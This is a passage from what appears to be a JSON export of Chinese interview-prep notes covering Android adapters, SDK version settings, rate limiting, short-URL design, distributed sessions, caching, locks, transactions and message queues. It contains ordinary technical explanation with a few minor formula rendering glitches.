FragmentPagerAdapter 和 FragmentStateAdapter 的区别？\n\n`FragmentStatePagerAdapter` 是 `PagerAdapter` 的子类，这个适配器对实现多个 `Fragment` 界面的滑动是非常有用的，它的工作方式和listview是非常相似的。当Fragment对用户不可见的时候，整个Fragment会被销毁，只会保存Fragment的保存状态。基于这样的特性，`FragmentStatePagerAdapter` 比 `FragmentPagerAdapter` 更适合用于很多界面之间的转换，而且消耗更少的内存资源。\n\n***\n\n### Bitmap的本质？\n\n本质是 SkBitmap 详见 Pocket\n\n***\n\n### SurfaceView && View && GLSurfaceView\n\n  - `View`：显示视图，内置画布，提供图形绘制函数、触屏事件、按键事件函数等；**必须在UI主线程内更新画面，速度较慢**。\n\n  - `SurfaceView`：基于view视图进行拓展的视图类，更适合2D游戏的开发；**View的子类，类似使用双缓机制，在新的线程（也可以在UI线程）中更新画面所以刷新界面速度比 View 快**，但是会涉及到线程同步问题。\n\n　- `GLSurfaceView`：openGL专用。基于SurfaceView视图再次进行拓展的视图类，**专用于3D游戏开发的视图**。\n"
  },
  {
    "path": "docs/android/interview/android/version.md",
    "content": "# 版本问题\n\n## CompileSdkVersion\n\n`compileSdkVersion` 告诉 Gradle 用哪个 Android SDK 版本编译你的应用。使用任何新添加的 API 就需要使用对应 Level 的 Android SDK。\n\n需要强调的是修改 `compileSdkVersion` 不会改变运行时的行为。当你修改了 `compileSdkVersion` 的时候，可能会出现新的编译警告、编译错误，但新的 `compileSdkVersion` 不会被包含到 APK 中：它纯粹只是在编译的时候使用。（你真的应该修复这些警告，他们的出现一定是有原因的）\n\n因此我们强烈推荐总是使用最新的 SDK 进行编译。在现有代码上使用新的编译检查可以获得很多好处，避免新弃用的 API ，并且为使用新的 API 做好准备。\n\n注意，如果使用 `Support Library` ，那么使用最新发布的 `Support Library` 就需要使用最新的 SDK 编译。例如，要使用 23.1.1 版本的 `Support Library` ，`compileSdkVersion` 就必需至少是 23 （大版本号要一致！）。通常，新版的 `Support Library` 随着新的系统版本而发布，它为系统新增加的 API 和新特性提供兼容性支持。\n\n## MinSdkVersion\n\n如果 `compileSdkVersion` 设置为可用的最新 API，那么 `minSdkVersion` 则是应用可以运行的最低要求。`minSdkVersion` 是 Google Play 商店用来判断用户设备是否可以安装某个应用的标志之一。\n\n在开发时 `minSdkVersion` 也起到一个重要角色：`lint` 默认会在项目中运行，它在你使用了高于 `minSdkVersion`  的 API 时会警告你，帮你避免调用不存在的 API 的运行时问题。如果只在较高版本的系统上才使用某些 API，通常使用运行时检查系统版本的方式解决。\n\n请记住，你所使用的库，如 `Support Library` 或 `Google Play services`，可能有他们自己的 `minSdkVersio`n 。你的应用设置的 `minSdkVersion` 必需大于等于这些库的 `minSdkVersion` 。\n\n当你决定使用什么 `minSdkVersion` 时候，你应该参考当前的 Android 分布统计，它显示了最近 7 天所有访问 Google Play 的设备信息。他们就是你把应用发布到 Google Play 时的潜在用户。最终这是一个商业决策问题，取决于为了支持额外 3% 的设备，确保最佳体验而付出的开发和测试成本是否值得。\n\n当然，如果某个新的 API 是你整个应用的关键，那么确定 `minSdkVersion` 的值就比较容易了。不过要记得 14 亿设备中的 0.7％ 也是个不小的数字。\n\n## TargetSdkVersion\n\n三个版本号中最有趣的就是 `targetSdkVersion` 了。 `targetSdkVersion` 是 Android 提供向前兼容的主要依据，在应用的 `targetSdkVersion` 没有更新之前系统不会应用最新的行为变化。这允许你在适应新的行为变化之前就可以使用新的 API （因为你已经更新了 `compileSdkVersion` 不是吗？）。\n\n`targetSdkVersion` 所暗示的许多行为变化都记录在 VERSION_CODES 文档中了，但是所有恐怖的细节也都列在每次发布的平台亮点中了，在这个 API Level 表中可以方便地找到相应的链接。\n\n例如，Android 6.0 变化文档中谈了 target 为 API 23 时会如何把你的应用转换到运行时权限模型上，Android 4.4 行为变化阐述了 target 为 API 19 及以上时使用 `set()` 和 `setRepeating()` 设置 alarm 会有怎样的行为变化。\n\n由于某些行为的变化对用户是非常明显的（弃用的 menu 按钮，运行时权限等），所以将 target 更新为最新的 SDK 是所有应用都应该优先处理的事情。但这不意味着你一定要使用所有新引入的功能，也不意味着你可以不做任何测试就盲目地更新 `targetSdkVersion` ，请一定在更新 `targetSdkVersion` 之前做测试！你的用户会感谢你的。\n\n## 综合来看\n\n如果你按照上面示例那样配置，你会发现这三个值的关系是：\n\n```\nminSdkVersion <= targetSdkVersion <= compileSdkVersion\n```\n\n这种直觉是合理的，如果 `compileSdkVersion` 是你的最大值，`minSdkVersion` 是最小值，那么最大值必需至少和最小值一样大且 target 必需在二者之间。\n\n理想上，在稳定状态下三者的关系应该更像这样：\n\n```\nminSdkVersion (lowest possible) <=\n    targetSdkVersion == compileSdkVersion (latest SDK)\n```\n\n用较低的 `minSdkVersion` 来覆盖最大的人群，用最新的 SDK 设置 target 和 compile 来获得最好的外观和行为。\n"
  },
  {
    "path": "docs/android/interview/architecture/1-cap.md",
    "content": "# CAP\n\n## 数据一致性\n\n### CAP定理\n\n### 数据一致性模型\n\n一些分布式系统通过复制数据来提高系统的可靠性和容错性，并且将数据的不同的副本存放在不同的机器，由于维护数据副本的一致性代价高，因此许多系统采用弱一致性来提高性能，一些不同的一致性模型也相继被提出。\n\n  - **强一致性**： 要求无论更新操作实在哪一个副本执行，之后所有的读操作都要能获得最新的数据。\n  - **弱一致性**：用户读到某一操作对系统特定数据的更新需要一段时间，我们称这段时间为“不一致性窗口”。\n  - **最终一致性**：是弱一致性的一种特例，保证用户最终能够读取到某操作对系统特定数据的更新。\n\n### 一致性解决方案\n\n  1. 分布式事务：两段提交\n  2. 分布式锁\n  3. MQ 消息持久化 重试 幂等\n  4. Paxos 算法\n"
  },
  {
    "path": "docs/android/interview/architecture/README.md",
    "content": "# 系统架构"
  },
  {
    "path": "docs/android/interview/architecture/concurrent/1-flow_control.md",
    "content": "# 高并发下的流量控制\n\n这个时候如果不做任何保护措施，服务器就会承受很大的处理压力，请求量很高，服务器负载也很高，并且当请求超过服务器承载极限的时候，系统就会崩溃，导致所有人都不能访问。\n\n为了应用服务的高可用，一个常用的办法是对大流量的请求（秒杀/抢购）进行限流，拦截掉大部分请求，只允许一部分请求真正进入后端服务器，这样就可以防止大量请求造成系统压力过大导致的系统崩溃，从而保护服务正常可用。\n\n`令牌桶(Token Bucket)`、`漏桶(leaky bucket)`和 `计数器` 算法是最常用的三种限流的算法。\n\n## 限流算法\n\n### 计数器\n\n计数器限流算法也是比较常用的，主要用来限制总并发数。比如限流 `qps` 为 `100` ，算法的实现思路就是从第一个请求进来开始计时，在接下去的 `1s` 内，每来一个请求，就把计数加 `1` ，如果累加的数字达到了 `100` ，那么后续的请求就会被全部拒绝。等到 `1s` 结束后，把计数恢复成 `0` ，重新开始计数。\n\n这种实现方式有一个弊端：如果我在单位时间 `1s` 内的前 `10ms` ，已经通过了 `100` 个请求，那后面的 `990ms` ，只能眼巴巴的把请求拒绝，这种现象称为 **突刺现象**。\n\n### 漏桶\n\n为了消除 **突刺现象**，可以采用漏桶算法实现限流，漏桶算法这个名字就很形象，算法内部有一个容器，类似生活用到的漏斗，当请求进来时，相当于水倒入漏斗，然后从下端小口慢慢匀速的流出。不管上面流量多大，下面流出的速度始终保持不变。\n\n不管服务调用方多么不稳定，通过漏桶算法进行限流，每 `10` 毫秒处理一次请求。因为处理的速度是固定的，请求进来的速度是未知的，可能突然进来很多请求，没来得及处理的请求就先放在桶里，既然是个桶，肯定是有容量上限，如果桶满了，那么新进来的请求就丢弃。\n\n![](images/cee6a24bae2f1146d8f905a9ede12c23.png)\n\n在算法实现方面，可以 **准备一个队列，用来保存请求，另外通过一个线程池定期从队列中获取请求并执行，可以一次性获取多个并发执行**。\n\n这种算法，在使用过后也存在弊端：**无法应对短时间的突发流量**，同时它的优点也是可以平滑网络上的突发流量，请求可以被整形成稳定的流量。\n\n### 令牌桶\n\n从某种意义上讲，**令牌桶算法是对漏桶算法的一种改进，桶算法能够限制请求调用的速率，而令牌桶算法能够在限制调用的平均速率的同时还允许一定程度的突发调用**。\n\n在令牌桶算法中，存在一个桶，用来存放固定数量的令牌。算法中存在一种机制，以一定的速率往桶中放令牌。每次请求调用需要先获取令牌，只有拿到令牌，才有机会继续执行，否则选择选择等待可用的令牌、或者直接拒绝。\n\n放令牌这个动作是持续不断的进行，如果桶中令牌数达到上限，就丢弃令牌，所以就存在这种情况，桶中一直有大量的可用令牌，这时进来的请求就可以直接拿到令牌执行，比如设置 `qps` 为 `100` ，那么限流器初始化完成一秒后，桶中就已经有 100 个令牌了，这时服务还没完全启动好，等启动完成对外提供服务时，该限流器可以抵挡瞬时的 `100` 个请求。所以，只有桶中没有令牌时，请求才会进行等待，最后相当于以一定的速率执行。\n\n![](images/cc2bf6c40bcccedb3e6bb2471ef36e53.png)\n\n实现思路：可以 **准备一个队列，用来保存令牌，另外通过一个线程池定期生成令牌放到队列中，每来一个请求，就从队列中获取一个令牌，并继续执行**。\n\n>漏桶 VS 令牌桶：两者主要区别在于“漏桶算法”能够强行限制数据的传输速率，而“令牌桶算法”在能够限制数据的平均传输速率外，还允许某种程度的突发传输。在“令牌桶算法”中，只要令牌桶中存在令牌，那么就允许突发地传输数据直到达到用户配置的门限，所以它适合于具有突发特性的流量。\n\n## 集群限流\n\n### Redis 请求窗口\n\n> 采用redis 的计时和计数方式,在规定的时间窗口期,允许通过的最大请求数量\n\n比如为了限制某个资源被每个用户或者商户的访问次数，5s 只能访问 2 次，或者一天只能调用 1000 次，这种需求，单机限流是无法实现的，这时就需要通过集群限流进行实现。\n\n如何实现？为了控制访问次数，肯定需要一个计数器，而且这个计数器只能保存在第三方服务，比如redis。\n\n大概思路：每次有相关操作的时候，就向 `redis` 服务器发送一个 `incr` 命令，比如需要限制某个用户访问 `/index` 接口的次数，只需要拼接用户 id 和接口名生成 `redis` 的 `key` ，每次该用户访问此接口时，只需要对这个 `key` 执行 `incr` 命令，在这个 `key` 带上过期时间，就可以实现指定时间的访问频率。\n\n### Nginx 限流\n\nNginx按请求速率限速模块使用的是漏桶算法，即能够强行保证请求的实时处理速度不会超过设置的阈值。\n\nNginx官方版本限制IP的连接和并发分别有两个模块：\n  - `limit_req_zone` 用来限制单位时间内的请求数，即速率限制,采用的漏桶算法 \"leaky bucket\"。\n  - `limit_req_conn` 用来限制同一时间连接数，即并发限制。\n"
  },
  {
    "path": "docs/android/interview/architecture/concurrent/README.md",
    "content": "# 高并发\n\n高并发指的是：**在同时或极短时间内，有大量的请求到达服务端，每个请求都需要服务端耗费资源进行处理，并做出相应的反馈**。\n\n服务端处理请求需要耗费服务端的资源，比如能同时开启的 `进程数` 、能同时运行的 `线程数` 、`网络连接数`、 `cpu` 、`I/O`、`内存` 等等，由于服务端资源是有限的，那么服务端能同时处理的请求也是有限的。\n\n**高并发问题的本质就是：资源的有限性**\n\n高并发带来的问题：服务端的处理和响应会越来越慢，甚至会丢弃部分请求不予处理，更严重的会导致服务端崩溃。\n\n## 处理的思路\n\n### 客户端\n\n  1. **尽量减少请求数量**，比如：依靠客户端自身的缓存或处理能力\n  2. **尽量减少对服务端资源的不必要耗费**，比如：重复使用某些资源，如连接池\n\n基本原则就是：能不访问服务端就不要访问\n\n### 服务端\n\n  1. **增加资源供给**，比如：更大的网络带宽，使用更高配置的服务器，使用高性能的Web服务器，使用高性能的数据库\n  1. **请求分流**，比如：使用集群,分布式的系统架构\n  1. **应用优化**，比如：使用更高效的编程语言,优化处理业务逻辑的算法,优化访问数据库的SQL\n\n基本原则：**分而治之**，并提高单个请求的处理速度\n\n## 处理的方法\n\n>处理高并发的三板斧: 缓存、降级和限流！\n\n  - 应用层：扩容、动静分离、缓存、服务降级和限流\n  - 数据库：读写分离、分库分表\n"
  },
  {
    "path": "docs/android/interview/architecture/design/1-tinyURL.md",
    "content": "# 短链接\n\n## 使用场景(Scenario)\n\n微博和Twitter都有140字数的限制，如果分享一个长网址，很容易就超出限制，发布出去。短网址服务可以把一个长网址变成短网址，方便在社交网络上传播。\n\n## 需求(Needs)\n\n很显然，要尽可能的短。长度设计为多少才合适呢？\n\n## 短网址的长度\n\n当前互联网上的网页总数大概是 45亿(参考 短网址_短网址资讯`mrw.so`)，45亿 超过了 `2^{32}=4294967296232=4294967296`，但远远小于64位整数的上限值，那么用一个64位整数足够了。微博的短网址服务用的是长度为 `7` 的字符串，这个字符串可以看做是62进制的数，那么最大能表示`{62}^7=3521614606208627=3521614606208`个网址，远远大于 45亿。所以长度为7就足够了。一个64位整数如何转化为字符串呢？，假设我们只是用大小写字母加数字，那么可以看做是62进制数，`log_{62{(2^{64}-1)=10.7log62(264−1)=10.7`，即字符串最长11就足够了。实际生产中，还可以再短一点，比如新浪微博采用的长度就是7，因为 62^7=3521614606208627=3521614606208，这个量级远远超过互联网上的URL总数了，绝对够用了。现代的web服务器（例如Apache, Nginx）大部分都区分URL里的大小写了，所以用大小写字母来区分不同的URL是没问题的。因此，正确答案：长度不超过7的字符串，由大小写字母加数字共62个字母组成。\n\n## 一对一还是一对多映射？\n\n一个长网址，对应一个短网址，还是可以对应多个短网址？ 这也是个重大选择问题。一般而言，一个长网址，在不同的地点，不同的用户等情况下，生成的短网址应该不一样，这样，在后端数据库中，可以更好的进行数据分析。如果一个长网址与一个短网址一一对应，那么在数据库中，仅有一行数据，无法区分不同的来源，就无法做数据分析了。\n\n以这个7位长度的短网址作为唯一ID，这个ID下可以挂各种信息，比如生成该网址的用户名，所在网站，HTTP头部的 User Agent等信息，收集了这些信息，才有可能在后面做大数据分析，挖掘数据的价值。短网址服务商的一大盈利来源就是这些数据。\n\n正确答案：一对多\n\n## 如何计算短网址\n\n现在我们设定了短网址是一个长度为7的字符串，如何计算得到这个短网址呢？\n\n最容易想到的办法是哈希，先hash得到一个64位整数，将它转化为62进制整，截取低7位即可。但是哈希算法会有冲突，如何处理冲突呢，又是一个麻烦。这个方法只是转移了矛盾，没有解决矛盾，抛弃。\n\n正确答案：分布式发号器(`Distributed ID Generator`)\n\n## 如何存储\n\n如果存储短网址和长网址的对应关系？以短网址为 `primary key`, 长网址为`value`, 可以用传统的关系数据库存起来，例如`MySQL,PostgreSQL`，也可以用任意一个分布式 KV 数据库，例如`Redis, LevelDB`。\n\n## 301还是302重定向\n\n这也是一个有意思的问题。这个问题主要是考察你对301和302的理解，以及浏览器缓存机制的理解。\n\n301是永久重定向，302是临时重定向。短地址一经生成就不会变化，所以用301是符合http语义的。但是如果用了301， `Google`，`百度`等搜索引擎，搜索的时候会直接展示真实地址，那我们就无法统计到短地址被点击的次数了，也无法收集用户的`Cookie`, `User Agent` 等信息，这些信息可以用来做很多有意思的大数据分析，也是短网址服务商的主要盈利来源。\n\n所以，正确答案是302重定向。\n\n可以抓包看看mrw.so的短网址是怎么做的，使用 Chrome 浏览器，访问这个URL `http://mrw.so/4UD39p`，是我事先发微博自动生成的短网址。来抓包看看返回的结果是啥，可见新浪微博用的就是302临时重定向。\n"
  },
  {
    "path": "docs/android/interview/architecture/design/README.md",
    "content": "# 系统设计"
  },
  {
    "path": "docs/android/interview/architecture/distributed/1-session.md",
    "content": "# 分布式 Session\n\n当一个带有会话表示的 `Http` 请求到 `Web` 服务器后，需求在请求中的处理过程中找到 `session` 数据。而问题就在于， `session` 是保存在单机上的。 假设我们有应用A和应用B，现在一位用户第一次访问网站， `session` 数据保存在 `应用A` 中。如果我们不做处理，怎么保障接下来的请求每次都请求到 `应用A` 呢? 如请求到了 `应用B` 中，就会发现没有这位用户的 `session` 数据，这绝对是不能容忍的。\n\n解决方案有Session Stick，Session复制，Session集中管理，基于Cookie管理，下面一一说明。\n\n## Session Stick\n\n在单机情况， `session` 保存在单机上，请求也是到这台单机上，不会有问题。变成多台后，如果能保障每次请求都到同一台服务，那就和单机一样了。 这需要在负载均衡设备上修改。这就是 `Session Stick` ，这种方式也会有问题：\n\n  - 如果某一台服务器宕机或重启，那么这台服务器上的 `session` 数据就丢失了。如果 `session` 数据中还有登录状态信息，那么用户需要重现登录。\n  - 负载均衡要处理具体的 `session` 到服务器的映射。\n\n## Session复制\n\n`Session` 复制顾名思义，就是每台应用服务，都保存会话 `session` 数据，一般的应用容器都支持。与 `Session Stick` 相比， `sessioon` 复制对负载均衡 没有太多的要求。不过这个方案还是有缺点：\n\n  - 同步 `session` 数据带来都网络开销。只要 `session` 数据变化，就需要同步到所有机器上，机器越多，网络开销越大。\n  - 由于每台服务器都保存 `session` 数据，如果集群的 `session` 数据很多，比如 90万 人在访问网站，每台机器用于保存 `session` 数据的内容占用很严重。\n\n这就是 **Session 复制**，这个方案是靠应用容器来完成，并不依赖应用，如果应用服务数量并不是很多，可以考虑。\n\n## Session集中管理\n\n这个也很好理解，再加一台服务，专门来管理 `session` 数据，每台应用服务都从专门的 `session` 管理服务中取会话 `session` 数据。可以使用数据库，NOSQL数据库等。 **和Session复制相比，减少了每台应用服务的内存使用，同步session带来的网络开销问题**。但还是有缺点：\n\n  - 读写 `session` 引入了网络操作，相对于本机读写 `session` ，带来了延时和不稳定性。\n  - 如 `Session` 集中服务有问题，会影响应用。\n\n## 基于Cookie管理\n\n最后一个是基于 `Cookie` 管理，我们把 `session` 数据存放在 `cookie` 中，然后请求过来后，从 `cookie` 中获取 `session` 数据。与集中管理相比，这个方案并不依赖外部 的存储系统，读写 `session` 数据带来的网络操作延时和不稳定性。但依然有缺点：\n\n  - **Cookie有长度限制，这会影响session数据的长度**。\n  - **安全性**：session数据本来存储在服务端的，而这个方案是让 `session` 数据转到外部网络或客户端中，所以会有安全性问题。不过可以对写入 Cookie 的 `session` 数据做加密。\n  - **带宽消耗**：由于加了session数据，带宽当然也会增加一点。\n  - **性能消耗**：每次Http请求和响应都带有Session数据，对于Web服务器来说，在同样的处理情况下，响应的结果输出越少，支持的并发请求越多。\n"
  },
  {
    "path": "docs/android/interview/architecture/distributed/2-cache.md",
    "content": "# 分布式缓存\n\n高并发环境下，例如典型的淘宝双11秒杀，几分钟内上亿的用户涌入淘宝，这个时候如果访问不加拦截，让大量的读写请求涌向数据库，由于磁盘的处理速度与内存显然不在一个量级，服务器马上就要宕机。**从减轻数据库的压力和提高系统响应速度两个角度来考虑，都会在数据库之前加一层缓存**，访问压力越大的，在缓存之前就开始 CDN 拦截图片等访问请求。\n\n并且由于最早的单台机器的内存资源以及承载能力有限，如果大量使用本地缓存，也会使相同的数据被不同的节点存储多份，对内存资源造成较大的浪费，因此，才催生出了分布式缓存。\n\n![](images/36bb3e9d1be0ea97b3e836dc467a9c87.png)\n\n## 应用场景\n\n  1. **页面缓存**：用来缓存Web 页面的内容片段,包括HTML、CSS 和图片等;\n  1. **应用对象缓存**：缓存系统作为ORM 框架的二级缓存对外提供服务,目的是减轻数据库的负载压力,加速应用访问;解决分布式Web部署的 session 同步问题，状态缓存.缓存包括Session 会话状态及应用横向扩展时的状态数据等,这类数据一般是难以恢复的,对可用性要求较高,多应用于高可用集群。\n  1. **并行处理**：通常涉及大量中间计算结果需要共享;\n  1. **云计算领域提供分布式缓存服务**\n\n## 常见问题和挑战\n\n### 缓存雪崩\n\n缓存雪崩我们可以简单的理解为：由于原有缓存失效、新缓存未到之间(**例如：我们设置缓存时采用了相同的过期时间，在同一时刻出现大面积的缓存过期**)，所有原本应该访问缓存的请求都去查询数据库了，而对数据库CPU和内存造成巨大压力，严重的会造成数据库宕机。从而形成一系列连锁反应，造成整个系统崩溃。\n\n### 缓存穿透\n\n缓存穿透是指用户查询数据，在数据库没有，自然在缓存中也不会有。**这样就导致用户查询的时候，在缓存中找不到，每次都要去数据库再查询一遍，然后返回空**（*相当于进行了两次无用的查询*）。这样请求就绕过缓存直接查数据库，这也是经常提的缓存命中率问题。\n\n### 缓存预热\n\n缓存预热这个应该是一个比较常见的概念，相信很多小伙伴都应该可以很容易的理解，缓存预热就是系统上线后，将相关的缓存数据直接加载到缓存系统。这样就可以避免在用户请求的时候，先查询数据库，然后再将数据缓存的问题！用户直接查询事先被预热的缓存数据！\n\n### 缓存更新\n\n除了缓存服务器自带的缓存失效策略之外，我们还可以根据具体的业务需求进行自定义的缓存淘汰，常见的策略有两种：\n\n  1. 定时去清理过期的缓存；\n  2. 当有用户请求过来时，再判断这个请求所用到的缓存是否过期，过期的话就去底层系统得到新数据并更新缓存。\n\n两者各有优劣，第一种的缺点是维护大量缓存的key是比较麻烦的，第二种的缺点就是每次用户请求过来都要判断缓存失效，逻辑相对比较复杂！具体用哪种方案，大家可以根据自己的应用场景来权衡。\n\n### 缓存降级\n\n当访问量剧增、服务出现问题（如响应时间慢或不响应）或非核心服务影响到核心流程的性能时，仍然需要保证服务还是可用的，即使是有损服务。系统可以根据一些关键数据进行自动降级，也可以配置开关实现人工降级。\n\n降级的最终目的是 **保证核心服务可用，即使是有损的**。而且有些服务是无法降级的（如加入购物车、结算）。\n\n在进行降级之前要对系统进行梳理，看看系统是不是可以丢卒保帅；从而梳理出哪些必须誓死保护，哪些可降级；比如可以参考日志级别设置预案：\n\n  1. **一般**：比如有些服务偶尔因为网络抖动或者服务正在上线而超时，可以自动降级；\n  2. **警告**：有些服务在一段时间内成功率有波动（如在95~100%之间），可以自动降级或人工降级，并发送告警；\n  3. **错误**：比如可用率低于90%，或者数据库连接池被打爆了，或者访问量突然猛增到系统能承受的最大阀值，此时可以根据情况自动降级或者人工降级；\n  4. **严重错误**：比如因为特殊原因数据错误了，此时需要紧急人工降级。\n\n### 缓存与数据库不一致问题\n\n首先，缓存由于其高并发和高性能的特性，已经在项目中被广泛使用。在读取缓存方面，大家没啥疑问，都是按照下图的流程来进行业务操作。\n\n![](images/995c5ddf11013119937692d6448da2e8.png)\n\n但是在更新缓存方面，对于更新完数据库，是更新缓存呢，还是删除缓存。又或者是先删除缓存，再更新数据库，其实大家存在很大的争议。\n\n从理论上来说，给 **缓存设置过期时间，是保证最终一致性的解决方案**。这种方案下，我们可以对存入缓存的数据设置过期时间，所有的写操作以数据库为准，对缓存操作只是尽最大努力即可。也就是说如果数据库写成功，缓存更新失败，那么只要到达过期时间，则后面的读请求自然会从数据库中读取新值然后回填缓存。\n\n#### 先删除缓存，再更新数据库\n\n该方案会导致不一致的原因是。同时有一个请求A进行更新操作，另一个请求B进行查询操作。那么会出现如下情形:\n\n  1. 请求A进行写操作，删除缓存\n  1. 请求B查询发现缓存不存在\n  1. 请求B去数据库查询得到旧值\n  1. 请求B将旧值写入缓存\n  1. 请求A将新值写入数据库\n\n上述情况就会导致不一致的情形出现。而且，如果不采用给缓存设置过期时间策略，该数据永远都是脏数据。\n\n可以通过：\n\n  1. 更新操作数据库后，再次更新缓存来实现\n  2. 缓存设置过期时间，等待过期时间后，数据恢复\n"
  },
  {
    "path": "docs/android/interview/architecture/distributed/3-lock.md",
    "content": "# 分布式锁\n\n## 实现基于数据库的乐观锁\n\n提交数据更新之前，每个事务会先检查在该事务读取数据后，有没有其他事务又修改了该数据。如果其他事务有更新的话，正在提交的事务会进行回滚。\n\n```java\nConnection conn = DriverManager.getConnection(url, user, password);\nconn.setAutoCommit(false);\nStatement stmt = conn.createStatement();\n// step 1\nint oldVersion = getOldVersion(stmt);\n\n// step 2\n// 用这个数据库连接做其他的逻辑\n\n// step 3 可用预编译语句\nint i = stmt.executeUpdate(\n        \"update optimistic_lock set version = \" + (oldVersion + 1) + \" where version = \" + oldVersion);\n\n// step 4\nif (i > 0) {\n    conn.commit(); // 更新成功表明数据没有被修改，提交事务。\n} else {\n    conn.rollback(); // 更新失败，数据被修改，回滚。\n}\n```\n\n乐观锁的缺点：\n\n  - 会带来大数量的无效更新请求、事务回滚，给DB造成不必要的额外压力。\n  - 无法保证先到先得，后面的请求可能由于并发压力小了反而有可能处理成功。\n\n## 基于 Redis 的分布式锁\n\n[Redis](../../basic/database/redis.md)\n"
  },
  {
    "path": "docs/android/interview/architecture/distributed/4-transaction.md",
    "content": "# [分布式事务](https://draveness.me/distributed-transaction-principle)\n\n系统之间的通信可靠性从单一系统中的可靠变成了微服务架构之间的不可靠，分布式事务其实就是在不可靠的通信下实现事务的特性。**无论是事务还是分布式事务实现原子性都无法避免对持久存储的依赖**，事务使用磁盘上的日志记录执行的过程以及上下文，这样无论是需要回滚还是补偿都可以通过日志追溯，而分布式事务也会依赖 数据库、`Zookeeper` 或者 `ETCD` 等服务追踪事务的执行过程，总而言之，各种形式的日志是保证事务几大特性的 **重要** 手段。\n\n## 2PC 与 3PC\n\n## 2PC\n\n两阶段提交的执行过程就跟它的名字一样分为两个阶段，**投票阶段和提交阶段**，在投票阶段中，协调者（`Coordinator`）会向事务的参与者（`Cohort`）询问是否可以执行操作的请求，并等待其他参与者的响应，参与者会执行相对应的事务操作并 **记录重做和回滚日志**，所有执行成功的参与者会向协调者发送 `AGREEMENT` 或者 `ABORT` 表示执行操作的结果。\n\n![image](images/42e2b6be95abf864362b7e646fea18aa.png)\n\n当所有的参与者都返回了确定的结果（同意或者终止）时，两阶段提交就进入了提交阶段，协调者会根据投票阶段的返回情况向所有的参与者发送提交或者回滚的指令。\n\n![image](images/c3cf164028d6832a3465def010665ec3.png)\n\n当事务的所有参与者都决定提交事务时，协调者会向参与者发送 `COMMIT` 请求，参与者在完成操作并释放资源之后向协调者返回完成消息，协调者在收到所有参与者的完成消息时会结束整个事务；与之相反，当有参与者决定 `ABORT` 当前事务时，协调者会向事务的参与者发送回滚请求，参与者会根据之前执行操作时的回滚日志对操作进行回滚并向协调者发送完成的消息，在提交阶段，无论当前事务被提交还是回滚，所有的资源都会被释放并且事务也一定会结束。\n\n两阶段提交协议是一个阻塞协议，也就是说在两阶段提交的执行过程中，除此之外，如果事务的执行过程中协调者永久宕机，事务的一部分参与者将永远无法完成事务，它们会等待协调者发送 `COMMIT` 或者 `ROLLBACK` 消息，甚至会出现多个参与者状态不一致的问题。\n\n### 3PC\n\n为了解决两阶段提交在协议的一些问题，**三阶段提交引入了超时机制和准备阶段**，如果协调者或者参与者在规定的之间内没有接受到来自其他节点的响应，就会根据当前的状态选择提交或者终止整个事务，准备阶段的引入其实让事务的参与者有了除回滚之外的其他选择。\n\n![image](images/b1f224cb62e2257103969df6b2b02320.png)\n\n当参与者向协调者发送 `ACK` 后，如果长时间没有得到协调者的响应，在默认情况下，参与者会自动将超时的事务进行提交，不会像两阶段提交中被阻塞住；上述的图片非常清楚地说明了在不同阶段，协调者或者参与者的超时会造成什么样的行为。\n\n## 消息服务\n\n分布式事务带来复杂度的原因其实就是由于各个模块之间的通信不稳定，当我们发出一个网络请求时，可能的返回结果是成功、失败或者超时。\n\n![image](images/5479e5bb2009261c1c1f4aa2524c5e48.png)\n\n网络无论是返回成功还是失败其实都是一个确定的结果，当网络请求超时的时候其实非常不好处理，在这时调用方并不能确定这一次请求是否送达而且不会知道请求的结果，但是 **消息服务** 可以保证某条信息一定会送达到调用方；大多数消息服务都会提供两种不同的 `QoS` ，也就是服务的等级。\n\n![image](images/53847a86544edeb54059110633da692c.png)\n\n最常见的两种服务等级就是 `At-Most-Once` 和 `At-Least-Once` 。\n\n  - `At-Most-Once`：能够保证发送方不对接收方是否能收到消息作保证，消息要么会被投递一次，要么不会被投递，这其实跟一次普通的网络请求没有太多的区别；\n  - `At-Least-Once`：能够解决消息投递失败的问题，它要求发送者检查投递的结果，并在失败或者超时时重新对消息进行投递，发送者会持续对消息进行推送，直到接受者确认消息已经被收到\n\n> 相比于 `At-Most-Once`，`At-Least-Once` 因为能够确保消息的投递会被更多人使用。\n\n除了这两种常见的服务等级之外，还有另一种服务等级，也就是 `Exactly-Once`，这种服务等级不仅对发送者提出了要求，还对消费者提出了要求，它需要接受者对接收到的所有消息进行去重，发送者和接受者一方对消息进行重试，另一方对消息进行去重，两者分别部署在不同的节点上，这样对于各个节点上的服务来说，它们之间的通信就是 `Exactly-Once` 的，但是需要注意的是，`Exacly-Once` 一定需要接收方的参与。\n\n使用消息服务实现分布式事务在底层的原理上与其他的方法没有太多的差别，只是 **消息服务能够帮助我们实现的消息的持久化以及重试等功能**，能够为我们提供一个比较合理的 API 接口，方便开发者使用。\n"
  },
  {
    "path": "docs/android/interview/architecture/distributed/5-mq.md",
    "content": "# MQ\n\n消息队列技术(Message Queue) 是分布式应用间交换信息的一种技术。消息队列可驻留在内存或磁盘上, 队列存储消息直到它们被应用程序读走。通过消息队列，应用程序可独立地执行 ———— 它们不需要知道彼此的位置、或在继续执行前不需要等待接收程序接收此消息。在分布式计算环境中，为了集成分布式应用，开发者需要对异构网络环境下的分布式应用提供有效的通信手段。\n\n## MQ使用场景\n\n  1. **异步通信**：有些业务不想也不需要立即处理消息。消息队列提供了异步处理机制，允许用户把一个消息放入队列，但并不立即处理它。想向队列中放入多少消息就放多少，然后在需要的时候再去处理它们。\n\n  2. **解耦**：降低工程间的强依赖程度，针对异构系统进行适配。在项目启动之初来预测将来项目会碰到什么需求，是极其困难的。通过消息系统在处理过程中间插入了一个隐含的、基于数据的接口层，两边的处理过程都要实现这一接口，当应用发生变化时，可以独立的扩展或修改两边的处理过程，只要确保它们遵守同样的接口约束\n\n  3. **冗余**：有些情况下，处理数据的过程会失败。除非数据被持久化，否则将造成丢失。消息队列把数据进行持久化直到它们已经被完全处理，通过这一方式规避了数据丢失风险。许多消息队列所采用的\"插入-获取-删除\"范式中，在把一个消息从队列中删除之前，需要你的处理系统明确的指出该消息已经被处理完毕，从而确保你的数据被安全的保存直到你使用完毕。\n\n  4. **扩展性**：因为消息队列解耦了你的处理过程，所以增大消息入队和处理的频率是很容易的，只要另外增加处理过程即可。不需要改变代码、不需要调节参数。便于分布式扩容\n\n  5. 